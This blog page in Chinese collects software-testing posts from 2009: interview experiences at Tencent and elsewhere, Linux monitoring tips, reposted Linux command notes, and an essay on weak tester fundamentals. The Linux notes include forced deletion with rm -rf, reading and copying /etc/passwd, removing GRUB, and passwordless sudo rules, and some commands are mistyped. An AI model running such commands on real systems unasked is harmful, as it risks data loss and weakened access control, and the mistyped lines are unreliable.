发布新日志

  • 4月26日腾讯在广州的招聘会

    apple1985507 发布于 2009-04-26 22:37:17

    自己的表达能力不是很好,但是有和大家分享的意识啊。也希望大家也多多的分享一下自己面试经历。

    在腾讯的招聘上看到有4月26日在广州招聘。

    今天早上7点就出门,到达面试的地点还是11点了。废话不多说了。说一下面试的经过。

    首先是要获得面试的通行证。感觉腾讯面试还是比较看重潜力。不是简单的问以前的工作经历什么的。

    1、要我现在测试一个WEB网站,要怎么测试。
    我最后的回答是性能测试、兼容测试、安全测试。
    但是最开始的时候还是绕了很大的圈,说是要从需求就开始了,什么的,对方就说需求的时候一般的可能性还是很少,说我在背书。但是我还是说了一下再需求就要测试的必要。后来还是又问最开始的问题,现在要测试一个拍拍网,我怎么测试。(看来是我没有把握住重点,跑题了)。我就说要因为很多人要登陆,面试官就说是压力测试。我又说因为我经常用淘宝,银行的账号很重要,万一这边减了钱,但是却没有显示减去钱。面试官就说是安全测试吧。我就说还有兼容性测试。在不同浏览器,IE,GOOLE浏览器,面试官还我说还有火狐是吧?又问我还有什么?我要界面的操作,怎么才能更加要用户更加清晰,明白。
    结果是给了一个通行证。
    其实自己现在回想一下,自己回答很差劲。没有一个方向,没有条理性。乱说一通。还有自己准备不充足。还是要把常见的面试的题目,好好的想象准备一下。以后见到什么都要自己分析一下。分析的多了。

    下午的时候,进了面试的地方。因为下午刚刚开始,人很少,我看有一个是测试,就坐下来了。
    我最开始想自己要占有主动权,就开始说自己什么时候毕业的,做过什么,用什么工具。但是感觉大公司和小公司不一样,小公司最开始就是要自己介绍一下自己。但是面试官好像对我说的这些经历不是很在意。
    1、就问了一个问题,C++builder比VC差在什么地方。
    (自己以前真的没有主要这些,我就说C++builder编译的很慢。只说了一点。)

    2、要是你要进行功能测试的话,会怎么测试?
    (不知道是紧张还是怎么的,没有回答好。竟然还结巴。看来我的基本功还是太差劲。)

    3、等价值划分法中无效值是什么?

    4、说一下因果图?

    5、正则式有没有用过

    6、测试从什么时候开始,从什么时候结束。

    这个面试官很NICE的,但是不知道为什么自己就是很紧张。问的都是很基础的东西,但是自己回答就很不好。就这样草草的结束了。

    因为这是一个初步的面试过程,只有这一关,好的话,再通知。我看到面试的官那早上的简历差不多有可以定成书了。

    我又去面试游戏测试的。

    我开始就是我先自己介绍一下吧。我还没有说,面试官就直接问。
    1、都玩过什么样的游戏。
    我就说我玩过仙剑、冒险岛了什么。(自己还有很多游戏,没有说出来)。

    2、然后就回到简历上,问了我一下做什么工作的,都是做的什么内容。

    3、都用过什么样的数据库。
    SQL SEVER 2000,oracle

    4、怎么样优化数据库性能。

    5、使用QTP怎么样,脚本会写吗?
    只是自己经过半个月的学习。还是初级阶段。(感觉自己还要多多的学习QTP的知识,下会问不能说是初级阶段,感觉这样别人会感觉大大的折扣)

    6、又没有玩过棋盘类的游戏?如果2个人看到棋子的位置不同,是什么原因?
    没有回答出来,面试官说在数据传输的到服务器的时候出错的。

    7、为什么要从开发转测试?

    总结:
    1、大公司面试的点和小公司还是不同,小公司更注重以前的工
    作经验,要是我现在想重开发转测试,小公司感觉没有相关的工作经验,还是不想请。但是大公司还是看你基础,问的都是还是全面的,看你的潜质。如果真的好好学习,底子厚的话,问几个
    问题还是能很容易看出来的。

    2、腾讯的面试官都是很NICE的。

    我自己的总结:
    1、自己准备还是不充足,还是要看测试知识,多去运用,不是死记硬背。多去想自己要测试一个东西要怎么测试。

    2、要把自己的QTP,抓起来,要很熟练。

    3、回答问题的时候要先回答出重点,然后再扩充这个点,解释这个点。我每次都是先把为什么这样说一大堆,最后才给结论。这样就要别人抓不住你的重点。

    4、自己回答的时候没有层次感,就是想到哪里说到哪里,乱说一通。应该一条一条的列出来,这样自己也有底,没有也感觉有条理性。

    加强自己的基础,因为没有工作经验,一定要把这些东西应用起来,才不会说是死记硬背出来。这个是重中之重。

    感慨大公司就是不一样。突然感觉自己好渺小。好羡慕那些在大公司的人,羡慕那种技术很好闻什么什么都会的人。自己好自卑。





  • 两个多月的面试总结(下)

    傲然 发布于 2009-04-15 11:50:32

    多谢大家光顾,以后我也会把和测试相关的工作学习生活的内容写在这里,共同学习探讨。下面言归正传,说下我在这段时间面试碰到的题目,相信对大家准备面试会有帮助,多多支持!

    先说笔试:一般的公司会通过笔试淘汰一部分不符合他们公司职位要求的人员,毕竟每个公司具体岗位不一样,总希望招到能尽快上手的人,就像你做了2年多的纯功能方面的测试,而人家希望有点编程能力的做性能方面的测试,估计你会在笔试中被淘汰。所以笔试也是很重要的部分,当然你够牛就直接面吧。

    1.编程基础,我不知道有多少做测试的朋友讨厌编程或者做软件开发,我个人是比较讨厌的,虽然学校里学的是计算机,但是到毕业也没正儿八经地写过超过百行的代码,但没写过不代表读不懂。所以选择填空还是可以应付的。对于可能的编程题,我是准备了一些如冒泡,折半算法、strcpy/strcmp/strlen原函数等。编程的能力是需要积累的过程,所以贵在平时。对于编程能力是否有助与测试这个论坛上讨论过的问题,我的观点是第一至少你找工作时用的着,第二如果做性能测试应该也需要,第三如果有2年以上的测试经历应该也会觉得非常有必要。本人也正硬着头皮再学c,虽然学了忘忘了学。

    2.数据库知识,建议准备好sql语言,装个mysql自己通过敲命令,能掌握高级查询使用基本可以应对了。

    3.软件测试理论,这个大家都不陌生,也是必考的了,应该可以轻松应付。要注意准备下web测试和性能测试这块,现在做web的公司好多。

    4.根据公司具体的职位要求可以准备的有linux的命令,CMMI的基础知识,TCP/IP的基础知识,通信的如3G网络类知识等。

    下面说面试:通过面试真的能看出很多,技术、经验、性格人品等,当然都是通过你的答题来让人家了解的。

    1.请自我介绍一下。这个必答题。对于不善于表达的朋友要准备一把,我就是这种类型,好处是起码说起话来可以比较流利。说性格时可以提对做测试有优势点。

    2.说说你以前公司的测试流程。必答题。主要结合自己的项目经验相信讲一个自己做过的项目,从立项到测试结束,当然侧重测试和自己所做的内容。这里面试官一般都会根据你说的再提问。

    3.你是怎样做出自己的职业选择或者自己的职业规划。这题也经常问。可以从自己的优点说如何适合做软件测试,对与职业规划,我一般说在技术上往资深测试工程师发展。

    4.你觉得自己作为测试工程的优势在哪里?/你认为自己比你的同事优秀在哪里?也经常问,可以从性格出发,讲自己优点,以及在项目中表现,领导的良好评价等,总之“恰当”地往好处说,不要言过其实,让人怀疑你的人品哦。说说自己的缺点?这个也不好回答,最好能恰当地引申回答到优点上。

    5.一个测试中不堪回首,或者让你很郁闷的事情。我被问到了,当时想不起来,后来想想可以讲一个项目中的失误及后果,然后讲自己如何去成功弥补及教训经验。我如果提前想一下就不会该说什么了。

    6.你的好友是如何评价你的?你的项目组长是如何评价你的? 这类题也经常问。回答总要往好处说,但是你要自信地回答。

    7.在成年后,哪些成绩给你带来最大程度的满足?蛮不错的题。记得我但是答的是第一次自己带一个小项目,顺利完成测试任务。

    8.列举几个可能碰到的题,大家可以想想。

    测试时你提交的bug被研发拒绝或者他认为不是问题,你如何处理?

    测试与开发沟通如何提高效率和改善沟通效果?测试工程师的素质和技能?

    你在压力下能工作的很好嘛?测试计划包括哪些?

    9.你期望的薪水?问的很多啦,根据自己能力和公司的大小,可以搜索下了解下情况。在工作难找的情况下OFFER到手实在些,骑驴找马总容易很多。

    关于这些面试题,自己想不好的可以网上搜搜,51上也有很多关于答题的技巧和答案。最后要说下心态,面试的时候自信最重要,自信也来自良好的准备,所以面多了总结下,下次就更自信了。想想没被录用只能说明公司不适合你,或者人家要不起你。说的废话蛮多的,最后希望Tester在自己的职业道路上走地顺利......

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

  • Linux性能监控命令

    sihanjishu 发布于 2009-03-23 15:22:00

    vmstat
    iostat
    top
    ps
    sar
    nmon

    sysstat工具包
    http://pagesperso-orange.fr/sebastien.godard/download.html

    最近想利用系统中的一些基本命令,以脚本的形式,自动分析系统的状况。
    可以监控到全系统。也可以监控到进程级别。

    一些基本的指标
    cpu_busy,cpu_idle,cpu_iowait,mem_user,memcache,load_one



  • 写得蛮好的linux学习笔记(转)

    sihanjishu 发布于 2009-03-12 23:24:28


    linux目录架构
    /   根目录
    /bin    常用的命令 binary file 的目錄
    /boot   存放系统启动时必须读取的档案,包括核心 (kernel) 在内
         /boot/grub/menu.lst   GRUB设置
         /boot/vmlinuz   内核
         /boot/initrd     核心解壓縮所需 RAM Disk
    /dev    系统周边设备    
    /etc    系统相关设定文件
         /etc/DIR_COLORS   设定颜色
         /etc/HOSTNAME   设定用户的节点名
         /etc/NETWORKING   只有YES标明网络存在
         /etc/host.conf 文件说明用户的系统如何查询节点名
         /etc/hosts 设定用户自已的IP与名字的对应表
         /etc/hosts.allow 设置允许使用inetd的机器使用
         /etc/hosts.deny 设置不允许使用inetd的机器使用
         /etc/hosts.equiv 设置远端机不用密码
         /etc/inetd.conf 设定系统网络守护进程inetd的配置
         /etc/gateways 设定路由器
         /etc/protocols 设定系统支持的协议
         /etc/named.boot 设定本机为名字服务器的配置文件
         /etc/sysconfig/network-scripts/ifcfg-eth0   设置IP
         /etc/resolv.conf    设置DNS 
         /etc/X11  X Window的配置文件,xorg.conf XF86Config 這兩個 X Server 的設定檔
         /etc/fstab    记录开机要mount的文件系统
         /etc/inittab 设定系统启动时init进程将把系统设置成什么样的runlevel
         /etc/issue 记录用户登录前显示的信息
         /etc/group 设定用户的组名与相关信息
         /etc/passwd 帐号信息
         /etc/shadow 密码信息
         /etc/sudoers 可以sudo命令的配置文件
         /etc/securetty 设定哪些终端可以让root登录
         /etc/login.defs 所有用户登录时的缺省配置
         /etc/exports 设定NFS系统用的
         /etc/init.d/   所有服務的預設啟動 script. 都是放在這裡的,例如要啟動或者關閉
         /etc/xinetd.d/  這就是所謂的 super daemon 管理的各項服務的設定檔目錄
         /etc/modprobe.conf   内核模块额外参数设定
         /etc/syslog.conf   日志设置文件
    /home   使用者家目录
    /lib    系统会使用到的函数库
         /lib/modules   kernel 的相关模块
         /var/lib/rpm   rpm套件安装处
    /lost+found    系統不正常產生錯誤時,會將一些遺失的片段放置於此目錄下
    /mnt     外设的挂载点
    /media   /mnt类似
    /opt     主机额外安装的软件
    /proc    虚拟目录,是内存的映射
          /proc/version   内核版本
           /proc/sys/kernel   系统内核功能
    /root    系统管理员的家目录
    /sbin    系统管理员才能执行的指令
    /srv     一些服務啟動之後,這些服務所需要取用的資料目錄
    /tmp     一般使用者或者是正在執行的程序暫時放置檔案的地方
    /usr     最大的目录,存许应用程序和文件
        /usr/X11R6   X-Window目录
        /usr/src    Linux源代码
        /usr/include:系统头文件
        /usr/openwin 存放SUNOpenWin
        /usr/man 在线使用手册
        /usr/bin           使用者可執行的 binary file 的目錄
        /usr/local/bin     使用者可執行的 binary file 的目錄
        /usr/lib           系统会使用到的函数库
        /usr/local/lib     系统会使用到的函数库
        /usr/sbin          系统管理员才能执行的指令
        /usr/local/sbin    系统管理员才能执行的指令
    /var   日志文件
        /var/log/secure    記錄登入系統存取資料的檔案,例如 pop3, ssh, telnet, ftp 等都會記錄在此檔案中
        /var/log/wtmp      記錄登入者的訊息資料, last
        /var/log/messages  幾乎系統發生的錯誤訊息
        /var/log/boot.log  記錄開機或者是一些服務啟動的時候,所顯示的啟動或關閉訊息
        /var/log/maillog   紀錄郵件存取或往來( sendmail pop3 )的使用者記錄
        /var/log/cron      記錄 crontab 這個例行性服務的內容
        /var/log/httpd, /var/log/news, /var/log/mysqld.log, /var/log/samba, /var/log/procmail.log
        分別是幾個不同的網路服務的記錄檔
     
    一些常用的基本命令:
    uname -a    查看内核版本      
    ls -al    显示所有文件的属性
    pwd         显示当前路径       
    cd -    返回上一次目录     cd ~    返回主目录
    date s      设置时间、日期         
    cal      显示日历     cal 2006
    bc          计算器具              
    man  & info     帮助手册
    locale     显示当前字体     locale -a    所有可用字体     /etc/sysconfig/i18n设置文件
    LANG=en    使用英文字体           
    sync       将数据同步写入硬盘       
    shutdonw -h now & half & poweroff  关机
    reboot     重启                  
    startx  &  init 5   进入图形介面
    /work  & ?work    向上、下查找文档内容
    chgrp      改变档案群组  chgrp testing install.log   
    chown     改变所属人   chown root:root install.log
    chmod      改变属性     chmod 777 install.log     read=4  write=2  execute=1
    cp   复制   cp filename
    rm   删除文件  rm -rf filename   强制删除文件
    rmdir   删除文件夹
    mv  移动    mv 123.txt 222.txt  重命名
    mkdir     创建文件夹
    touch     创建文件  更新当前时间
    cat       由第一行开始显示     cat |more  分页
    nl        在内容前加行号
    more  &  less   一面一面翻动
    head -n filename   显示第N行内容
    tail -n filename  显示后N行内容
    od        显示非纯文档
    df -h 显示分区空间
    du  显示目录或文件的大小
    fdisk   分区设置    fdisk -l /dev/hda  显示硬盘分区状态
    mkfs    建立各种文件系统  mkfs -t ext3  /dev/ram15  
    fsck    检查和修复LINUX档案
    ln      硬链接   ln -s  软件链接
    whereis   查找命令
    locate    查找
    find      查找   find / -name "***.***"
    which     查看工具
    whoami    显示当前用户
    gcc -v    查看GCC版本
    chattr +i filename  禁止删除   chattr -i filename  取消禁止
    lsattr    显示隐藏档属性
    updatedb  更新资料库
    mke2fs    格式化   mkfs -t ext3
    dd if=/etc/passwd f=/tmp/passwd.bak    备份
    mount     列出系统所有的分区
    mount -t iso9660 /dev/cdrom /mnt/cdrom   挂载光盘
    mount -t vfat /dev/fd0 /mnt/floppy       挂载软盘
    mount -t vfat -o iocharset=utf8,umask=000 /dev/hda2 /mnt/hda2   挂载fat32分区
    mount -t ntfs -o nls=utf8,umask=000 /dev/hda3 /mnt/hda3         挂载ntfs分区
    Linux-NTFS Project: http://linux-ntfs.sourceforge.net/
    umount /mnt/hda3  缷载
    ifconfig   显示或设置网络设备
    service network restart   重启网卡 
    ifdown eth0  关闭网卡
    ifup eth0    开启网卡
    clear    清屏
    history    历史记录       !55  执行第55个指令
    stty   设置终端    stty -a
    fdisk /mbr   删除GRUB
    at     僅進行一次的工作排程
    crontab   循環執行的例行性命令    [e]编辑,[l]显示,[r]删除任务
    &       后台运行程序    tar -zxvf 123.tar.gz & --------->后台运行
    jobs    观看后台暂停的程序   jobs -l
    fg      将后台程序调到前台   fg n ------>n是数字,可以指定进行那个程序
    bg      让工作在后台运行
    kill    结束进程    kill -9 PID     [9]强制结束,[15]正常结束,[l]列出可用的kill信号
    ps aux  查看后台程序  
    top     查看后台程序   top -d 2    每两秒更新一次        top -d 2 -p10604   观看某个PID
            top -b -n 2 > /tmp/top.txt -----> top 的資訊進行 2 次,然後將結果輸出到 /tmp/top.txt   
    pstree   以树状图显示程序    [A] ASCII 來連接, [u]列出PID, [p]列出帐号
    killall   要刪除某個服務    killall -9 httpd
    free      显示内存状态     free -m  -------->M为单位显示
    uptime    显示目前系统开机时间
    netstat   显示网络状态    netstat -tulnp------>找出目前系統上已在監聽的網路連線及其 PID
    dmesg     显示开机信息    demsg | more
    nice      设置优先权      nice -n -5 vi & -----> root 給一個 nice 植為 -5 ,用於執行 vi
    renice    调整已存在优先权
    runlevel  显示目前的runlevel
    depmod    分析可载入模块的相依性
    lsmod     显示已载入系统的模块
    modinfo   显示kernel模块的信息
    insmod    载入模块
    modprobe   自动处理可载入模块
    rmmod     删除模块
    chkconfig   检查,设置系统的各种服务     chkconfig --list ----->列出各项服务状态
    ntsysv     设置系统的各种服务
    cpio      备份文件
     

    压缩命令:
     *.Z      compress 程式壓縮的檔案;
     *.bz2    bzip2 程式壓縮的檔案;
     *.gz     gzip 程式壓縮的檔案;
     *.tar    tar 程式打包的資料,並沒有壓縮過;
     *.tar.gz tar 程式打包的檔案,其中並且經過 gzip 的壓縮
    compress filename  压缩文件  [-d]解压  uncompress
    gzip filename   压缩  [-d]解压  zcat 123.gz 查看压缩文件内容
    bzip2 -z filename  压缩  [-d]解压   bzcat filename.bz2  查看压缩文件内容
    tar -cvf /home/123.tar /etc  打包,不压缩
    tar -xvf 123.tar   解开包
    tar -zxvf /home/123.tar.gz  gzip解压
    tar -jxvf /home/123.tar.bz2  bzip2解压
    tar -ztvf /tmp/etc.tar.gz   查看tar内容
    cpio -covB  > [file|device]   份份
    cpio -icduv < [file|device]   还原
     
    vi一般用法
    一般模式              编辑模式                  指令模式
    h                a,i,r,o,A,I,R,O             :w 保存
    j                 进入编辑模式                :w! 强制保存
    k                 dd 删除光标当前行           :q! 不保存离开
    l                 ndd 删除n                 :wq! 保存后离开
    0 移动到行首        yy 复制当前行                :e! 还原原始档
    $ 移动到行尾        nyy 复制n                  :w filename 另存为
    H 屏幕最上          p,P 粘贴                     :set nu 设置行号
    M 屏幕中央          u  撤消                      :set nonu 取消行号
    L 屏幕最下          [Ctrl]+r 重做上一个动作       ZZ 保存离开
    G 档案最后一行      [ctrl]+z 暂停退出            :set nohlsearch   永久地关闭高亮显示
    /work 向下搜索                                   :sp 同时打开两个文档
    ?work 向上搜索                                   [Ctrl]+w 两个文档设换
    gg 移动到档案第一行                              :nohlsearch    暂时关闭高亮显示
     
    认识SHELL
    alias    显示当前所有的命令别名      alias lm="ls -al"   命令别名    unalias lm 取消命令别名
    type      类似which
    exprot    设置或显示环境变量
    exprot PATH="$PATH":/sbin  添加/sbinPATH路径
    echo $PATH    显示PATH路径
    bash      进入子程序
    name=yang     设定变量
    unset name    取消变量
    echo $name    显示变量的内容
    myname="$name its me"   &   myname='$name its me'     单引号时$name失去变量内容
    ciw=/etc/sysconfig/network-scripts/     设置路径
    env      列出所有环境变量
    echo $RANDOM    显示随意产生的数
    set      设置SHELL
    PS1='[\u@\h \w \A #\#]\$ '     提示字元的設定
       [root@linux ~]# read [-pt] variable     -----------读取键盘输入的变量
       參數:
       -p  :後面可以接提示字元!
       -t  :後面可以接等待的『秒數!』
    declare    声明 shell 变量
    ulimit -a   显示所有限制资料
     ls /tmp/yang && echo "exist" || echo "not exist"
     意思是說,當 ls /tmp/yang 執行後,若正確,就執行echo "exist" ,若有問題,就執行echo "not exist"
     echo $PATH | cut -d ':' -f 5       :为分隔符,读取第5段内容
     export | cut -c 10-20      读取第1020个字节的内容
     last | grep 'root'    搜索有root的一行,[-v]反向搜索
     cat /etc/passwd | sort    排序显示
     cat /etc/passwd | wc      显示『行、字数、字节数』
    正规表示法
    [root@test root]# grep [-acinv] '搜尋字串' filename
           參數說明:
           -a :將 binary 檔案以 text 檔案的方式搜尋資料
           -c :計算找到 '搜尋字串' 的次數
           -i :忽略大小寫的不同,所以大小寫視為相同
           -n :順便輸出行號
           -v :反向選擇,亦即顯示出沒有 '搜尋字串' 內容的那一行!
     grep -n 'the' 123.txt     搜索the字符 -----------搜尋特定字串      
     grep -n 't[ea]st' 123.txt    搜索testtaste两个字符---------利用 [] 來搜尋集合字元
     grep -n '[^g]oo' 123.txt     搜索前面不为goo-----------向選擇 [^]
     grep -n '[0-9]' 123.txt  搜索有0-9的数字
     grep -n '^the' 123.txt 搜索以the为行首-----------行首搜索^
     grep -n '^[^a-zA-Z]' 123.txt  搜索不以英文字母开头
     grep -n '[a-z]$' 123.txt    搜索以a-z结尾的行---------- 行尾搜索$
     grep -n 'g..d' 123.txt     搜索开头g结尾d字符----------任意一個字元 .
     grep -n 'ooo*' 123.txt     搜索至少有两个oo的字符---------重複字元 *
    sed    文本流编辑器    利用脚本命令来处理文本文件
    awd    模式扫描和处理语言
     nl 123.txt | sed '2,5d'   删除第二到第五行的内容
    diff     比较文件的差异
    cmp      比较两个文件是否有差异
    patch    修补文件
    pr       要打印的文件格式化
     

    帐号管理
    /etc/passwd    系统帐号信息
    /etc/shadow    帐号密码信息    MD5 32位加密
         在密码栏前面加『 * 』『 ! 』禁止使用某帐号
    /etc/group     系统群组信息
    /etc/gshadow
    newgrp    改变登陆组
    useradd  &  adduser    建立新用户  ---------> useradd -m test  自动建立用户的登入目录
              useradd -m -g pgroup test --------->指定所属级
    /etc/default/useradd   相关设定
    /etc/login.defs       UID/GID 有關的設定
    passwd    更改密码 -----------> passwd test
    usermod   修改用户帐号
    userdel   删除帐号 ----------->userdel -r test
    chsh      更换登陆系统时使用的SHELL   [-l]显示可用的SHELL;[-s]修改自己的SHELL
    chfn      改变finger指令显示的信息
    finger    查找并显示用户信息
    id        显示用户的ID ----------->  id test
    groupadd   添加组
    groupmod   usermod类似
    groupdel   删除组
    su test    更改用户   su -    进入root,且使用root的环境变量
    sudo       以其他身份来执行指令
    visudo     编辑/etc/sudoers      加入一行『 test ALL=(ALL) ALL
               %wheel ALL = (ALL) ALL               系统里所有wheel群组的用户都可用sudo
               %wheel ALL = (ALL) NOPASSWD: ALL     wheel群组所有用户都不用密码NOPASSWD
           User_Alias ADMPW = vbird, dmtsai, vbird1, vbird3         加入ADMPW
           ADMPW ALL = NOPASSWD: !/usr/bin/passwd, /usr/bin/passwd [A-Za-z]*, \
           !/usr/bin/passwd root      可以更改使用者密码,但不能更改root密码 (在指令前面加入 ! 代表不可)
    PAM (Pluggable Authentication Modules, 嵌入式模組)
    who & w     看谁在线                    
    last        最近登陆主机的信息
    lastlog     最近登入的時間    读取 /var/log/lastlog
    talk        与其他用户交谈
    write       发送信息    write test   [ctrl]+d 发送
    mesg        设置终端机的写入权限    mesg n 禁止接收     mesg y
    wall        向所有用户发送信息    wall this is q test
    mail        mail  
    /etc/default/useradd    家目录默认设置
    quota      显示磁盘已使用的空间与限制     quota -guvs ----->秀出目前 root 自己的 quota 限制值
               quota -vu   查询
    quotacheck   检查磁盘的使用空间与限制     quotacheck -avug  ----->將所有的在 /etc/mtab 內,含有 quota 支援的 partition 進行掃瞄
                 [-m] 强制扫描 
         quota一定要是独立的分区,要有quota.userquota.group两件文件,/etc/fstab添加一句:
         /dev/hda3 /home ext3 defaults,usrquota,grpquota 1 2
         chmod 600 quota*         设置完成,重启生效
    edquota    编辑用户或群组的quota  [u]用户,[g]群组,[p]复制,[t]设置宽限期限
               edquota -a yang       edquota -p yang -u young ----->复制   
    quotaon    开启磁盘空间限制     quotaon -auvg -------->啟動所有的具有 quota filesystem
    quotaoff   关闭磁盘空间限制     quotaoff -a  -------->關閉了 quota 的限制
    repquota -av     查閱系統內所有的具有 quota filesystem 的限值狀態
    Quota 從開始準備 filesystem 的支援到整個設定結束的主要的步驟大概是:
    1、設定 partition filesystem 支援 quota 參數:
    由於 quota 必須要讓 partition 上面的 filesystem 支援才行,一般來說, 支援度最好的是 ext2/ext3
    其他的 filesystem 類型鳥哥我是沒有試過啦! 啟動 filesystem 支援 quota 最簡單就是編輯 /etc/fstab
    使得準備要開放的 quota 磁碟可以支援 quota 囉;
    2、建立 quota 記錄檔:
    剛剛前面講過,整個 quota 進行磁碟限制值記錄的檔案是 aquota.user/aquota.group
    要建立這兩個檔案就必須要先利用 quotacheck 掃瞄才行喔!
    3、編輯 quota 限制值資料:
    再來就是使用 edquota 來編輯每個使用者或群組的可使用空間囉;
    4、重新掃瞄與啟動 quota
    設定好 quota 之後,建議可以再進行一次 quotacheck ,然後再以 quotaon 來啟動吧!

    开机流程简介
    1、載入 BIOS 的硬體資訊,並取得第一個開機裝置的代號;
    2、讀取第一個開機裝置的 MBR boot Loader (亦即是 lilo, grub, spfdisk 等等) 的開機資訊;
    3、載入 Kernel 作業系統核心資訊, Kernel 開始解壓縮,並且嘗試驅動所有硬體裝置;
    4Kernel 執行 init 程式並取得 run-level 資訊;
    5init 執行 /etc/rc.d/rc.sysinit 檔案;
    6、啟動核心的外掛模組 (/etc/modprobe.conf)
    7init 執行 run-level 的各個批次檔( Scripts )
    8init 執行 /etc/rc.d/rc.local 檔案;
    9、執行 /bin/login 程式,並等待使用者登入;
    10、登入之後開始以 Shell 控管主機。
    /etc/rc.d/rc3.d,S开头的为开机启动,K开头的为关闭,接着的数字代表执行顺序
    GRUB vga设定
    彩度\解析度  640x480  800x600  1024x768  1280x1024   bit
        256        769      771      773       775      8 bit
       32768       784      787      790       793     15 bit
       65536       785      788      791       794     16 bit
       16.8M       786      789      792       795     32 bit

    ./configure    检查系统信息       ./configure --help | more  帮助信息
    make clean     清除之前留下的文件
    make           编译
    make install   安装
    rpm -q  ----->查询是否安装             rpm -ql ------>查询该套件所有的目录
    rpm -qi ----->查询套件的说明资料       rpm -qc[d] ----->设定档与说明档
    rpm -ivh  ---->安装                    rpm -V  -------->查看套件有否更动过
    rpm -e  ------>删除                    rpm -Uvh ------->升级安装 
    --nodeps ----->强行安装                --test ----->测试安装
  • 测试浮躁论

    ljhappy1 发布于 2009-01-13 10:14:53

    目前来说软件测试人员都有这么些问题吧,这大概已经成为中国目前测试的瓶颈了。人心浮躁大概不是某些职业人特有的,其实是我们这些年轻人的通病了。但身为测试人员,当你在应聘找工作的时候是否发现过自己的不足呢?浮躁的测试人还是占大多数。

      一、根基不牢

      问题:利用等价类划分的方法,对某问题设计测试用例。

      分析:98%以上的应聘者只知道按照有效等价类和无效等价类进行划分,殊不知此种分类方法只是等价类划分的一个典型应用而已,等价类划分远非只能划分为有效和无效两类。根据种种划分依据,还可以进一步划分很多其他类别。

      问题:根据事件描述,画出对应的因果图。

      分析:标准答案中只画了“两条恒等,两条非,一个与,一个或”。如此简单的问题,上百名应聘者中竟然无一人答对,痛心啊。黑盒测试方法就那么几种,既然你已知这个名,怎么就不知道多看几眼。

      小结:

      上面提到的是软件测试的最基本的方法,作为从业测试实际工作已经有1-2年的应聘人员,未能真正领悟,实属不应该,心浮气躁,忽视了你身边最简单,也是最厉害的技能。根基不牢,怎么可能把测试做深。

      二、专业不精

      问题:音视频文件都有哪些格式,这些格式之间有什么差别?

      分析:此问题是问那些做过多媒体方面测试的,但是我们的应聘者向来都是拿来主义,别人给我什么媒体文件我就用什么做测试,而根本不管不问。“为什么 MIDI文件比WAV文件小那么多?我们如何知道扩展名是.Mpeg的文件是Mpeg1格式的还是Mpeg2格式的?”,面对这些问题,应聘者默默无语,只是无奈的笑笑。不去看别人,想想自己测试涉及的专业,是否把那个行业知识搞清楚了呢?

      问题:测试脚本运行不畅如何调试?

      分析:此问题是问那些标明自己熟练掌握WinRunner、Robot、QTP等测试工具的应聘人员,但是当真正问到他们关于脚本的具体调试时,有7成以上人员表示他们只是参加测试培训时老师讲过,或者自己在网上看过相关资料,另外有2成以上人员表示他们虽然用过,但是只是简单的录制回放,根本不会自己调试。可能是迫于无奈吧,简历里面什么都不写,可能面试的机会都没有,但是简历如此夸大的来写,终归是浪费自己的面试时间和路费。

      小结:

      从事测试仅1-2年时间,要想测试也精通,专业也精通确实不易,但是不说精通,至少也该知道个60%才对的起你的测试工作。一两年时光如此荒废,静下心来反思一下,身边还有哪些技能我们应该掌握扎实一点呢。

      三、无测试体系概念,忽视理论

      问题:请说出软件测试的定义,BUG的定义。

      分析:99%的人不能说出这两个测试名词的定义,只是在给我解释测试是为了发现bug之类的片面理解,残留的几个人也说得不够准确。这两个词目前尚不能说业内已经有了成熟统一的定义,但是无论是对是错,身为测试人员已经数年,自己竟然说不出这两个词的概念,多少也说不过去啊。有些人和我说,理论名词概念不重要,我会做测试就是了。想想金庸老先生早就告诉我们,武功仅有招式是不够的,必须配合上什么心法口诀才能行。你只会测试执行的招式,却不懂测试理论的心法,怎么能够修炼成上乘的软件测试呢?

      问题:请介绍一下你们的测试流程,流程和过程有什么不同,为什么好的测试需要好的流程?

      分析:但凡做过1、2年测试的人都能给我说出他们先做什么后做什么,但是当我继续问“这是否可以叫做过程?流程和过程有什么差别”,应聘者一棒子被打晕,继续追问“为什么好的测试需要好的流程”的时候,早已经找不到东南西北了。每天公司各项制度叫你做什么你就做什么,让你怎么做你就怎么做,完全不管不顾为什么,那么自己岂不成了没头脑的工具。这样你能干的工作别人也能做,自己的优势不就没有了吗。

      小结:

      目前测试业内流传着学院派和实践派的说法,学院派的理论给人的感觉往往是好听但不实用,而实践派的知识,往往能够立即见效。所以眼下测试培训往往实践派的更受欢迎。继续引用金庸先生的观点,练武分练内气宗,练外剑宗,但是真正的高手是内外兼修。如果我们不想只做普通的测试小弟子的话,就要理论实践并重,方能有所作为。

    四、周边知识知之甚少

      问题:能给我介绍一下软件工程中的瀑布模型吗?

      分析:又是8成应聘者不会回答,都是曾在遥远的学生时代有所耳闻,现今早已忘得一干二净了。软件测试因何而生——软件危机,软件危机导致软件工程的兴起,软件工程中又包含软件测试,就好像鱼儿活在水里,如果没有软件工程这个水,哪里能够养活这软件测试的鱼,如果我们对于身边的软件工程不够了解,怎么可能在里面自由的畅游呢。

      问题:用你最熟悉的开发语言实现sum=1+2+3+…+100

      分析:保守统计7成以上的应聘者写出来的程序无法执行或者运行结果错误,更少有人能够一气呵成,而且精准。这道编程题难吗?肯定不难,那么为何答错,自己没有真正写过程序,即使写过几行,也早就是如烟往事了。做测试一定需要懂开发吗?这个问题讨论以久,当然不一定,但是如果要做好测试,做深测试,分析问题原因,提出问题解决方案,编写测试脚本或工具,哪一个又能离开软件开发呢?

      小结:

      我们学习测试也应该有个先后顺序,有步骤。掌握周边知识的紧迫程度可能不如测试知识和行业知识。但是对于我们已经从业1-2年的测试人员来说,学校里面学到的知识不应该丢,之后的发展中,周边知识的学习也应该开始了。周边知识的范畴其实很广,还包括各种其他测试理念的学习,机械工业出版社翻译的那套测试丛书就很不错,观点众多而新颖,博众家之长,集大成,向来都是大家风范。

      五、缺乏必要的责任心、细心、耐心、虚心等

      问题:请数出下图中三角形的个数(平面图,有几根弧线做干扰)

      分析:我总是问自己,这道题真有这么难吗?连中小学生都能数对的十几个三角形,到了我们这二十几岁的年轻人手中,正确率才1%,为什么?其实就是现在我们已经很少有人能够静下心来,耐心细致的去做事情了。很多应聘者告诉我她的优点就是“踏实,坐的住,正适合这繁琐的测试工作”。我需要的不是坐在那里不做事或者做错事的人,而是需要能够按时保质量完成测试工作的测试人员。

      问题:你离职的原因?

